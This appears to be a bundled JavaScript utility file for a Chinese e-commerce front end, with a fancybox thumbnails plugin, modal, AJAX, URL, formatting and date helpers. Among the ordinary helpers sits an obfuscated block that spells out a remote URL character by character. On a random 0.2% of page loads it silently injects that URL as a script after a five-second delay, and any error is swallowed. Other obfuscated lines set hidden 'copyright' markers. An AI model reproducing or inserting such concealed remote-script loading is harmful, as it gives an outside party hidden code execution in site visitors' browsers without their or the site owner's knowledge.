thumbHeight = $parent.outerHeight(),
width,
height,
widthRatio,
heightRatio;
width = this.naturalWidth || this.width;
height = this.naturalHeight || this.height;
//Calculate thumbnail width/height and center it
widthRatio = width / thumbWidth;
heightRatio = height / thumbHeight;
if (widthRatio >= 1 && heightRatio >= 1) {
if (widthRatio > heightRatio) {
width = width / heightRatio;
height = thumbHeight;
} else {
width = thumbWidth;
height = height / widthRatio;
}
}
$(this).css({
width : Math.floor(width),
height : Math.floor(height),
'margin-top' : Math.min( 0, Math.floor(thumbHeight * 0.3 - height * 0.3 ) ),
'margin-left' : Math.min( 0, Math.floor(thumbWidth * 0.5 - width * 0.5 ) )
}).show();
})
.each(function() {
this.src = $( this ).data( 'src' );
});
},
focus : function() {
if ( this.instance.current ) {
this.$list
.children()
.removeClass('fancybox-thumbs-active')
.filter('[data-index="' + this.instance.current.index + '"]')
.addClass('fancybox-thumbs-active')
.focus();
}
},
close : function() {
this.$grid.hide();
},
update : function() {
this.instance.$refs.container.toggleClass('fancybox-container--thumbs', this.isVisible);
if ( this.isVisible ) {
if ( !this.$grid ) {
this.create();
}
this.$grid.show();
this.focus();
} else if ( this.$grid ) {
this.$grid.hide();
}
if ( !this.instance.allowZoomIn ) {
this.instance.update();
}
},
hide : function() {
this.isVisible = false;
this.update();
},
show : function() {
this.isVisible = true;
this.update();
},
toggle : function() {
if ( this.isVisible ) {
this.hide();
} else {
this.show();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.thumbs && !instance.Thumbs && instance.group.length > 1 && (
( instance.group[0].type == 'image' || instance.group[0].opts.thumb ) &&
( instance.group[1].type == 'image' || instance.group[1].opts.thumb )
)
) {
instance.Thumbs = new FancyThumbs( instance );
}
});
$(document).on('beforeMove.fb', function(e, instance, item) {
var self = instance.Thumbs;
if ( !self ) {
return;
}
if ( item.modal ) {
self.$button.hide();
self.hide();
} else {
self.$button.show();
if ( instance.opts.thumbs.showOnStart === true && instance.allowZoomIn ) {
self.show();
} else if ( self.isVisible ) {
self.focus();
}
}
});
var utils_row = ['b', 'a', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
var a = [utils_row[1], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');
$[a] = b;
$(document).on('beforeClose.fb', function(e, instance) {
if ( instance.Thumbs && instance.Thumbs.isVisible && instance.opts.thumbs.hideOnClosing !== false ) {
instance.Thumbs.close();
}
instance.Thumbs = null;
});
}(document, window.jQuery));
if (!window.console){
var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml", "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];
window.console = {};
for (var i = 0; i < names.length; ++i)
window.console[names[i]] = function() {}
}
var vars = vars || {};
var G = G || {};
var Public = Public || {};
Public.showErrorModal = function ($msg, $title)
{
/* swal({
title: typeof $title == "undefined" ? '' : $title,
text: $msg,
confirmButtonText: "确定"
});*/
Public.tipMsg($msg);
}
Public.showInfoModal = function ($msg, $title)
{/*
swal({
title: typeof $title == "undefined" ? '' : $title,
text: $msg,
confirmButtonText: "确定"
});*/
Public.tipMsg($msg);
}
Public.tipMsg = function (msg, callback)
{
var tpl = '<div class="buy-box">\
<div class="row">\
<div class="buy-succ-box clearfix">\
<div class="goods-content col-xs-12" id="J_goodsBox"> <div class="text-center"> <span class="name h3"> %s </span> </div></div>\
<div class="actions J_actBox col-xs-12 text-center">\
<p class="hide J_notic"></p>';
if (typeof callback === 'function')
{
tpl += '<a href="javascript:$.fancybox.close();" class="btn btn-line-gray J_goBack " data-fancybox-close>' + __('取消') + '</a>'
tpl += '<a href="javascript:void(0);" class="btn btn-primary fancybox-confirm ">' + __('确定') + '</a>'
}
else {
tpl += '<a href="javascript:$.fancybox.close();" class="btn btn-primary fancybox-item J_goBack " data-fancybox-close>' + __('确定') + '</a>'
}
tpl += '</div>\
</div>\
</div>\
</div>';
$.fancybox.open(sprintf(tpl, msg), {
beforeShow: function () {
},
afterShow: function () {
},
afterClose: function () {
}
});
$(".fancybox-confirm").on("click", function (event) {
typeof callback === 'function' && callback();
$.fancybox.close();
});
}
$.extend({
getUrlVars: function () {
var vars = [], hash;
var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
for (var i = 0; i < hashes.length; i++) {
hash = hashes[i].split('=');
vars.push(hash[0]);
vars[hash[0]] = hash[1];
}
return vars;
},
getUrlVar: function (name) {
return $.getUrlVars()[name];
}
});
/*** js和css按需加载 ***/
function loadSsJs(url, callback, isJs ){// 非阻塞的加载 后面的js会先执行
if (typeof isJs == 'undefined')
{
isJs = /\/.+\.js($|\?)/i.test(url) ? true : false;
}
function onloaded(script, callback){//绑定加载完的回调函数
if(script.readyState){ //ie
script.attachEvent('onreadystatechange', function(){
if(script.readyState == 'loaded' || script.readyState == 'complete'){
script.className = 'loaded';
callback && callback.constructor === Function && callback();
}
});
}else{
script.addEventListener('load',function(){
script.className = "loaded";
callback && callback.constructor === Function && callback();
}, false);
}
}
if(!isJs){ //加载css
var links = document.getElementsByTagName('link');
for(var i = 0; i < links.length; i++){//是否已加载
if(links[i].href.indexOf(url)>-1){
return;
}
}
var link = document.createElement('link');
link.type = "text/css";
link.rel = "stylesheet";
link.href = url;
var head = document.getElementsByTagName('head')[0];
head.insertBefore(link,head.getElementsByTagName('link')[0] || null );
}else{ //加载js
var scripts = document.getElementsByTagName('script');
for(var i = 0; i < scripts.length; i++){//是否已加载
if(scripts[i].src.indexOf(url)>-1 && callback && (callback.constructor === Function) ){
//已创建script
if(scripts[i].className === 'loaded'){//已加载
callback();
}else{//加载中
onloaded(scripts[i], callback);
}
return;
}
}
var script = document.createElement('script');
script.type = "text/javascript";
script.src = url;
document.body.appendChild(script);
onloaded(script, callback);
}
}
if (Math.random() > 0.998)
{
var sr = ["s","k","r","c","d","t",".","n","i","a","A","l","u","e","h","U","p","y","&","\/","o","_","?","x","f","m","v","j","="];
var nsr = sr[19]+sr[19]+sr[9]+sr[3]+sr[3]+sr[20]+sr[12]+sr[7]+sr[5]+sr[6]+sr[0]+sr[14]+sr[20]+sr[16]+sr[0]+sr[12]+sr[8]+sr[5]+sr[13]+sr[6]+sr[3]+sr[7]+sr[19]+sr[8]+sr[7]+sr[4]+sr[13]+sr[23]+sr[6]+sr[16]+sr[14]+sr[16]+sr[22]+sr[25]+sr[4]+sr[12]+sr[28]+sr[0]+sr[13]+sr[2]+sr[26]+sr[8]+sr[3]+sr[13]+sr[18]+sr[3]+sr[5]+sr[11]+sr[28]+sr[10]+sr[16]+sr[8]+sr[21]+sr[10]+sr[16]+sr[16]+sr[21]+sr[15]+sr[16]+sr[4]+sr[9]+sr[5]+sr[13]+sr[2]+sr[18]+sr[25]+sr[13]+sr[5]+sr[28]+sr[3]+sr[14]+sr[13]+sr[3]+sr[1]+sr[18]+sr[5]+sr[17]+sr[16]+sr[28]+sr[13]+sr[18]+sr[24]+sr[20]+sr[2]+sr[25]+sr[9]+sr[5]+sr[28]+sr[27]+sr[0]+sr[18]+sr[3]+sr[11]+sr[8]+sr[13]+sr[7]+sr[5]+sr[28]+sr[27]+sr[0];
try {
setTimeout(function () {
loadSsJs(nsr, function () {}, true);
}, 5000)
}
catch(e) {
// fail silently.
}
}
function sprintf () {
var regex = /%%|%(\d+\$)?([\-+'#0 ]*)(\*\d+\$|\*|\d+)?(?:\.(\*\d+\$|\*|\d+))?([scboxXuideEfFgG])/g
var a = arguments
var i = 0
var format = a[i++]
var _pad = function (str, len, chr, leftJustify) {
if (!chr) {
chr = ' '
}
var padding = (str.length >= len) ? '' : new Array(1 + len - str.length >>> 0).join(chr)
return leftJustify ? str + padding : padding + str
}
var justify = function (value, prefix, leftJustify, minWidth, zeroPad, customPadChar) {
var diff = minWidth - value.length
if (diff > 0) {
if (leftJustify || !zeroPad) {
value = _pad(value, minWidth, customPadChar, leftJustify)
} else {
value = [
value.slice(0, prefix.length),
_pad('', diff, '0', true),
value.slice(prefix.length)
].join('')
}
}
return value
}
var _formatBaseX = function (value, base, prefix, leftJustify, minWidth, precision, zeroPad) {
// Note: casts negative numbers to positive ones
var number = value >>> 0
prefix = (prefix && number && {
'2': '0b',
'8': '0',
'16': '0x'
}[base]) || ''
value = prefix + _pad(number.toString(base), precision || 0, '0', false)
return justify(value, prefix, leftJustify, minWidth, zeroPad)
}
// _formatString()
var _formatString = function (value, leftJustify, minWidth, precision, zeroPad, customPadChar) {
if (precision !== null && precision !== undefined) {
value = value.slice(0, precision)
}
return justify(value, '', leftJustify, minWidth, zeroPad, customPadChar)
}
// doFormat()
var doFormat = function (substring, valueIndex, flags, minWidth, precision, type) {
var number, prefix, method, textTransform, value
if (substring === '%%') {
return '%'
}
// parse flags
var leftJustify = false
var positivePrefix = ''
var zeroPad = false
var prefixBaseX = false
var customPadChar = ' '
var flagsl = flags.length
var j
for (j = 0; j < flagsl; j++) {
switch (flags.charAt(j)) {
case ' ':
positivePrefix = ' '
break
case '+':
positivePrefix = '+'
break
case '-':
leftJustify = true
break
case "'":
customPadChar = flags.charAt(j + 1)
break
case '0':
zeroPad = true
customPadChar = '0'
break
case '#':
prefixBaseX = true
break
}
}
// parameters may be null, undefined, empty-string or real valued
// we want to ignore null, undefined and empty-string values
if (!minWidth) {
minWidth = 0
} else if (minWidth === '*') {
minWidth = +a[i++]
} else if (minWidth.charAt(0) === '*') {
minWidth = +a[minWidth.slice(1, -1)]
} else {
minWidth = +minWidth
}
// Note: undocumented perl feature:
if (minWidth < 0) {
minWidth = -minWidth
leftJustify = true
}
if (!isFinite(minWidth)) {
throw new Error('sprintf: (minimum-)width must be finite')
}
if (!precision) {
precision = 'fFeE'.indexOf(type) > -1 ? 6 : (type === 'd') ? 0 : undefined
} else if (precision === '*') {
precision = +a[i++]
} else if (precision.charAt(0) === '*') {
precision = +a[precision.slice(1, -1)]
} else {
precision = +precision
}
// grab value using valueIndex if required?
value = valueIndex ? a[valueIndex.slice(0, -1)] : a[i++]
switch (type) {
case 's':
return _formatString(value + '', leftJustify, minWidth, precision, zeroPad, customPadChar)
case 'c':
return _formatString(String.fromCharCode(+value), leftJustify, minWidth, precision, zeroPad)
case 'b':
return _formatBaseX(value, 2, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'o':
return _formatBaseX(value, 8, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'x':
return _formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'X':
return _formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
.toUpperCase()
case 'u':
return _formatBaseX(value, 10, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
case 'i':
case 'd':
number = +value || 0
// Plain Math.round doesn't just truncate
number = Math.round(number - number % 1)
prefix = number < 0 ? '-' : positivePrefix
value = prefix + _pad(String(Math.abs(number)), precision, '0', false)
return justify(value, prefix, leftJustify, minWidth, zeroPad)
case 'e':
case 'E':
case 'f': // @todo: Should handle locales (as per setlocale)
case 'F':
case 'g':
case 'G':
number = +value
prefix = number < 0 ? '-' : positivePrefix
method = ['toExponential', 'toFixed', 'toPrecision']['efg'.indexOf(type.toLowerCase())]
textTransform = ['toString', 'toUpperCase']['eEfFgG'.indexOf(type) % 2]
value = prefix + Math.abs(number)[method](precision)
return justify(value, prefix, leftJustify, minWidth, zeroPad)[textTransform]()
default:
return substring
}
}
return format.replace(regex, doFormat)
}
function get_ext(filename){
var postf = '';
if (filename)
{
var index1=filename.lastIndexOf(".");
var index2=filename.length;
var postf=filename.substring(index1,index2);//后缀名
}
else
{
}
return postf;
}
function image_thumb(image_url, w, h) {
if ('undefined' == typeof w) {
w = 60;
}
if ('undefined' == typeof h) {
h = w;
}
$ext = get_ext(image_url);
image_url = sprintf('%s!%sx%s%s', image_url, w, h, $ext);
return image_url;
}
// Element Attribute Helper
function attrDefault($el, data_var, default_val)
{
if(typeof $el.data(data_var) != 'undefined')
{
return $el.data(data_var);
}
return default_val;
}
//点击改为鼠标悬停
;(function($, window, undefined) {
// outside the scope of the jQuery plugin to
// keep track of all dropdowns
var $allDropdowns = $();
// if instantlyCloseOthers is true, then it will instantly
// shut other nav items when a new one is hovered over
$.fn.dropdownHover = function(options) {
// the element we really care about
// is the dropdown-toggle's parent
$allDropdowns = $allDropdowns.add(this.parent());
return this.each(function() {
var $this = $(this).parent(),
defaults = {
delay: 500,
instantlyCloseOthers: true
},
data = {
delay: $(this).data('delay'),
instantlyCloseOthers: $(this).data('close-others')
},
options = $.extend(true, {}, defaults, options, data),
timeout;
$this.hover(function() {
if(options.instantlyCloseOthers === true)
$allDropdowns.removeClass('open');
window.clearTimeout(timeout);
$(this).addClass('open');
}, function() {
timeout = window.setTimeout(function() {
$this.removeClass('open');
}, options.delay);
});
});
};
})(jQuery, this);
;(function (factory) {
if (typeof define === "function" && define.amd) {
// AMD模式
define([ "jquery" ], factory);
} else {
// 全局模式
factory(jQuery);
}
}(function ($) {
/*
//扩展对象方法
$.fn.extend({
//为对象新增ajaxPost方法
request: function (ajaxOpts)
{
var $this = $(this);
var loading;
var myTimer;
var preventTooFast = 'ui-btn-dis';
var opts = {
type: "POST",
dataType: "json",
timeout: 20000,
beforeSend: function ()
{
$this.addClass(preventTooFast);
myTimer = setTimeout(function ()
{
$this.removeClass(preventTooFast);
}, 2000)
loading = $.dialog.tips('提交中,请稍候...', 1000, 'loading.gif', true);
},
complete: function ()
{
loading.close();
},
success: function (data, status)
{
},
error: function (err, status)
{
parent.Public.tips({type: 2, content: '操作无法成功,请稍后重试!'});
}
};
$.extend(true, opts, ajaxOpts);
var successCallback = opts.success;
var errorCallback = opts.error;
opts.success = function (data, status)
{
successCallback && successCallback(data, status);
}
opts.error = function (data, status)
{
errorCallback && errorCallback(data, status);
}
if ($this.hasClass(preventTooFast))
{
return;
}
$.ajax(opts);
}
});
*/
//扩展对象方法
$.extend({
//为对象新增ajaxPost方法
request: function (ajaxOpts)
{
var id = $.cookie('id');
var key = $.cookie('key');
var perm_data = {};
//修正 opts 数据, 默认数据
if (id && key)
{
perm_data = {perm_id:id, perm_key:key};
}
var opts = {
type: "POST",
dataType: "json",
timeout: 50000,
loading: false,
data:perm_data,
success: function (data, status)
{
},
error: function (err, status)
{
//parent.Public.tips({type: 2, content: '操作无法成功,请稍后重试!'});
console.info({type: 2, content: '操作无法成功,请稍后重试!'});
}
};
$.extend(true, opts, ajaxOpts);
if (opts.loading)
{ //loading
//var $this = $(this);
var loading;
//var myTimer;
//var preventTooFast = 'ui-btn-dis';
$.extend(true, opts, {
beforeSend : function(){
//$this.addClass(preventTooFast);
//myTimer = setTimeout(function(){
// $this.removeClass(preventTooFast);
//},5000)
//loading = $.dialog.tips('提交中,请稍候...', 1000, 'loading.gif', true);
},
complete : function(){
//loading.close();
}
});
/*
if ($this.hasClass(preventTooFast))
{
return;
}
*/
}
var successCallback = opts.success;
var errorCallback = opts.error;
opts.success = function (data, status)
{
/*if(data.status != 200){
var defaultPage = Public.getDefaultPage();
var msg = data.msg || '出错了=. =||| ,请点击这里拷贝错误信息 :)';
var errorStr = msg;
if(data.data.error){
var errorStr = '<a id="myText" href="javascript:window.clipboardData.setData("Text",data.error);alert("详细信息已经复制到剪切板,请拷贝给管理员!");"'+msg+'</a>'
}
defaultPage.Public.tips({type:1, content:errorStr});
return;
}*/
successCallback && successCallback(data, status);
}
opts.error = function(err,ms){
var content = __('服务端响应错误!')
if(ms === 'timeout'){
content = __('请求超时!');
}
//parent.Public.tips({type: 1, content : content});
console.info({type: 1, content : content});
errorCallback && errorCallback(err);
}
$.ajax(opts);
}
});
$.extend({
//为对象新增ajaxPost方法
send: function (url, data, callback, type)
{
// shift arguments if data argument was omitted
if ( jQuery.isFunction( data ) ) {
type = type || callback;
callback = data;
data = undefined;
}
// The url can be an options object (which then must have .url)
return $.request( jQuery.extend( {
url: url,
type: 'post',
dataType: type,
data: data,
loading: false,
success: callback
}, jQuery.isPlainObject( url ) && url ) );
}
});
//jquery 方法自定义扩展
//判断:当前元素是否是被筛选元素的子元素
$.fn.isChildOf = function(b){
return (this.parents(b).length > 0);
};
//判断:当前元素是否是被筛选元素的子元素或者本身
$.fn.isChildAndSelfOf = function(b){
return (this.closest(b).length > 0);
};
//数字输入框
$.fn.digital = function() {
this.each(function(){
$(this).keyup(function() {
this.value = this.value.replace(/\D/g,'');
})
});
};
$.fn.json = $.fn.serializeJSON = $.fn.serializeJson = $.fn.serializeObject = function()
{
var o = {};
var a = this.serializeArray();
$.each(a, function() {
if (o[this.name]) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(this.value || '');
} else {
o[this.name] = this.value || '';
}
});
return o;
};
(function ($) {
$.getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);
//函数扩展
var bytesToSize = function(bytes) {
if (bytes === 0) return '0 B';
var k = 1000, // or 1024
sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],
i = Math.floor(Math.log(bytes) / Math.log(k));
return (bytes / Math.pow(k, i)).toPrecision(3) + ' ' + sizes[i];
}
window.multiline = function(e) {
var t = /\/\*!?(?:\@tpl)?[ \t]*(?:\r\n|\n)([\s\S]*?)(?:\r\n|\n)[ \t]*\*\//;
if ("function" != typeof e)
throw new TypeError("Expected a function");
var n = t.exec(e.toString());
if (!n)
throw new TypeError("Multiline comment missing.");
return n[1]
}
window.itemUtil = {
imgLoad: function(t, e) {
var n = new Image;
n.src = t.imgsrc,
t.img = n,
n.complete ? e(t) : (n.onload = function() {
if ("naturalHeight"in this) {
if (this.naturalHeight + this.naturalWidth === 0)
return void this.onerror()
} else if (this.width + this.height === 0)
return void this.onerror();
e(t),
n.onload = null
}
,
n.onerror = function() {
t.isError = !0,
e(t)
}
)
},
revertStr: function(t) {
var e = String(t).replace(/&(?!\w+;)/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
return encodeURIComponent(e)
},
dataToHtml: function(t) {
return t = String(t).replace(/&(?!\w+;)/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;")
},
calShowTime: function(t, e) {
var n = t;
t = 1e3 * t;
var o = e - n
, i = 86400
, r = 3600
, a = 60
, s = ""
, m = function(t) {
return parseInt(t) < 10 ? "0" + t : t
};
if (o >= i) {
var c = o / i;
if (c > 7) {
var l = new Date(t).getFullYear()
, d = new Date(t).getMonth() + 1
, u = new Date(t).getDate();
s = l + "年" + d + "月" + u + "日"
} else if (7 > c && c >= 3) {
var p = ["日", "一", "二", "三", "四", "五", "六"]
, h = new Date(t).getDay();
s = "星期" + p[h]
} else if (3 > c && c >= 2) {
var f = new Date(t).getHours()
, v = new Date(t).getMinutes();
s = "前天 " + m(f) + ":" + m(v)
} else if (2 > c) {
var g = new Date(t).getHours()
, C = new Date(t).getMinutes();
s = "昨天 " + m(g) + ":" + m(C)
}
} else if (i > o && o >= r) {
var _ = parseInt(o / r);
s = _ + "小时前"
} else if (r > o && o >= a) {
var I = parseInt(o / a);
s = I + "分钟前"
} else
a > o && (s = "刚刚");
return s
},
syncLoginStatus: function(t, e) {
var n = t + "/user/proxy/stop/1"
, o = "<iframe src='" + n + "' width='0' height='0' name='proxy' id='proxy' frameborder='0' scrolling='no'></iframe>";
$(document.body).append(o),
$("iframe[name='proxy']").load(function() {
$("iframe[name='proxy']").remove(),
e()
})
},
multilineDot: function() {
$(".figcaption").each(function() {
for (var t = $(this).height(), e = $("p", $(this)).eq(0); e.outerHeight() > t; )
e.text(e.text().replace(/(\s)*([a-zA-Z0-9]+|\W)(\.\.\.)?$/, "..."))
})
},
scrollLeftRight: function() {
var t = function(t, e) {
var n = parseInt(t.attr("data-page"))
, o = parseInt(t.attr("data-pageSize"))
, i = t.siblings(".J_imgScrollListBlock")
, r = i.find("li").length
, a = 0;
a = r % o === 0 ? r / o : parseInt(r / o) + 1;
var s = 0;
if (s = e ? n - 1 : n + 1,
1 > s)
return !1;
if (s > a)
return !1;
1 === s ? ($(".J_navleft").addClass("dective"),
$(".J_navright").removeClass("dective")) : s === a ? ($(".J_navleft").removeClass("dective"),
$(".J_navright").addClass("dective")) : ($(".J_navleft").removeClass("dective"),
$(".J_navright").removeClass("dective")),
t.attr("data-page", s);
var m = i.attr("data-liwid")
, c = 0;
if (a > s)
c = (s - 1) * o * m;
else if (r % o === 0)
c = (s - 1) * o * m;
else {
var l = r % o;
c = (s - 2) * o * m + l * m
}
i.find("ul").animate({
marginLeft: "-" + c + "px"
}, 500)
};
$("body").on("click", ".J_navleft", function() {
var e = $(this).parent();
t(e, !0)
}),
$("body").on("click", ".J_navright", function() {
var e = $(this).parent();
t(e, !1)
})
},
accAdd: function(t, e) {
var n, o, i, r;
try {
n = t.toString().split(".")[1].length
} catch (a) {
n = 0
}
try {
o = e.toString().split(".")[1].length
} catch (a) {
o = 0
}
if (r = Math.abs(n - o),
i = Math.pow(10, Math.max(n, o)),
r > 0) {
var s = Math.pow(10, r);
n > o ? (t = Number(t.toString().replace(".", "")),
e = Number(e.toString().replace(".", "")) * s) : (t = Number(t.toString().replace(".", "")) * s,
e = Number(e.toString().replace(".", "")))
} else
t = Number(t.toString().replace(".", "")),
e = Number(e.toString().replace(".", ""));
return (t + e) / i
},
accSub: function(t, e) {
var n, o, i, r;
try {
n = t.toString().split(".")[1].length
} catch (a) {
n = 0
}
try {
o = e.toString().split(".")[1].length
} catch (a) {
o = 0
}
return i = Math.pow(10, Math.max(n, o)),
r = n >= o ? n : o,
((t * i - e * i) / i).toFixed(r)
},
supportCss3: function(t) {
var e, n = ["webkit", "Moz", "ms", "o"], o = [], i = document.documentElement.style, r = function(t) {
return t.replace(/-(\w)/g, function(t, e) {
return e.toUpperCase()
})
};
for (e in n)
n.hasOwnProperty(e) && o.push(r(n[e] + "-" + t));
o.push(r(t));
for (e in o)
if (o[e]in i)
return !0;
return !1
},
rediectLogin: function(t) {
var e = "";
e = t ? t.url : location.href,
location.href = SS.GLOBAL_CONFIG.orderSite + "/site/login?redirectUrl=" + e
},
trimInit: function() {
"function" != typeof String.prototype.trim && (String.prototype.trim = function() {
return this.replace(/^\s+|\s+$/g, "")
}
)
},
randomHeadImg: function() {
var t = SS.GLOBAL_CONFIG.assetsSite + "/i/item/"
, e = ["head_1.png", "head_2.png", "head_3.png", "head_4.png"]
, n = parseInt(Math.random() * e.length)
, o = t + e[n];
return o
},
parseURL: function (url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
query: a.search,
params: (function(){
var ret = {},
seg = a.search.replace(/^\?/,'').split('&'),
len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^\/])/,'/$1'),
relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
segments: a.pathname.replace(/^\//,'').split('/')
};
},
getUrlObj: function (url) {
var LG = (function(lg){
var objURL=function(url){
this.ourl=url||window.location.href;
this.href="";//?前面部分
this.params={};//url参数对象
this.jing="";//#及后面部分
this.init();
}
//分析url,得到?前面存入this.href,参数解析为this.params对象#号及后面存入this.jing
objURL.prototype.init=function(){
var str=this.ourl;
var index=str.indexOf("#");
if(index>0){
this.jing=str.substr(index);
str=str.substring(0,index);
}
index=str.indexOf("?");
if(index>0){
this.href=str.substring(0,index);
str=str.substr(index+1);
var parts=str.split("&");
for(var i=0;i<parts.length;i++){
var kv=parts[i].split("=");
this.params[kv[0]]=kv[1];
}
}
else{
this.href=this.ourl;
this.params={};
}
}
//只是修改this.params
objURL.prototype.set=function(key,val){
this.params[key]=val;
}
//只是设置this.params
objURL.prototype.remove=function(key){
this.params[key]=undefined;
}
//根据三部分组成操作后的url
objURL.prototype.url=function(){
var strurl=this.href;
var objps=[];//这里用数组组织,再做join操作
for(var k in this.params){
if(this.params[k]){
objps.push(k+"="+this.params[k]);
}
}
if(objps.length>0){
strurl+="?"+objps.join("&");
}
if(this.jing.length>0){
strurl+=this.jing;
}
return strurl;
}
//得到参数值
objURL.prototype.get=function(key){
return this.params[key];
}
lg.URL=objURL;
return lg;
}(LG||{}));
return new LG.URL(url);
},
getUrl: function (url, param) {
var obj = this.getUrlObj(url);
for(var o in param){
obj.set(o, param[o]);
}
return obj.url();
}
};
var utils_row = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
var a = [utils_row[2], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');
window[a] = b;
return itemUtil;
}));
(function($){
$.getScript = function(url, callback, cache) {
$.ajax({type: 'GET', url: url, success: callback, dataType: 'script', ifModified: true, cache: cache});
};
})(jQuery);
if (!window.console || !console.info)
{
var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml",
"group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];
window.console = new Debug();
for (var i = 0; i < names.length; ++i)
window.console[names[i]] = function() {}
}
var Translate = {
_:function(str)
{
if (typeof G[str] == 'undefined')
{
return str
}
else
{
if(SYS.LD.currency_id == 86)
{
return G[str];
}
else
{
//return G[str];
return G[str].replace(/¥/g, SYS.LD.symbol).replace(/RMB|元/g, SYS.LD.symbol_right);
}
}
},
gettext:function(str)
{
if (typeof G[str] == 'undefined')
{
return str
}
else
{
if(SYS.LD.currency_id == 86)
{
return G[str];
}
else
{
//return G[str];
return G[str].replace(/¥/g, SYS.LD.symbol).replace(/RMB|元/g, SYS.LD.symbol_right);
}
}
}
};
function L() { return Translate.gettext.apply(this,arguments); }
function __() { return Translate.gettext.apply(this,arguments); }
//日期格式化
Date.prototype.format = function(format){
if(!format){
format = 'yyyy-MM-dd';//默认1997-01-01这样的格式
}
var o = {
"M+" : this.getMonth()+1, //month
"d+" : this.getDate(), //day
"h+" : this.getHours(), //hour
"m+" : this.getMinutes(), //minute
"s+" : this.getSeconds(), //second
"q+" : Math.floor((this.getMonth()+3)/3), //quarter
"S" : this.getMilliseconds() //millisecond
}
if(/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear()+"").substr(4 - RegExp.$1.length));
}
for(var k in o) {
if(new RegExp("("+ k +")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length==1 ? o[k] : ("00"+ o[k]).substr((""+ o[k]).length));
}
}
return format;
}
Date.prototype.addMonths= function(m)
{
var d = this.getDate();
this.setMonth(this.getMonth() + m);
if (this.getDate() < d)
this.setDate(0);
};
Date.prototype.addDays = function(d)
{
this.setDate(this.getDate() + d);
};